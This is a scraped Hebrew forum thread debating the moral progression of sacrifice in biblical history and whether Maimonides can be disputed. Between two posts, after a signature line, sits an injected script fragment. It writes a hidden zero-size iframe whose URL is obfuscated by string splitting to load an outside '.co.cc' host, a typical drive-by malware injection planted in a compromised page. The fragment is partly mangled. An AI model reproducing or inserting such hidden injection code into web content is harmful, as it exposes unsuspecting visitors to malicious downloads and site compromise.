משל לדבר: בהשוואה לעמים שבהם נהוג היה לשחוט את הבן למען האליל, עם שמסתפק בשחיטת בהמה הרי זו התקדמות גדולה. אם בדור אחר אומר אחד הנביאים כי "שמוע מזבח טוב" הרי זו התקדמות נוספת.
אתה לוקח דוגמה אחת שנוחה לך ומתעלם מהשאר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
|
|
באופן כללי לא כל מה שהרמב"ם כותב הוא נכון. אפשר לחלוק עליו . כמו שכתבתי עם העבדים במעמד הר סיני בכפיית ההר כגיגית היה מקבל כל דבר גם אם הוא סתר את המוסכמות של אותו דור. כי העם ידע שהוא ייחודי ומיוחד,עם סגולה ששונה מכל העמים סביבו.
|
|
|
|
|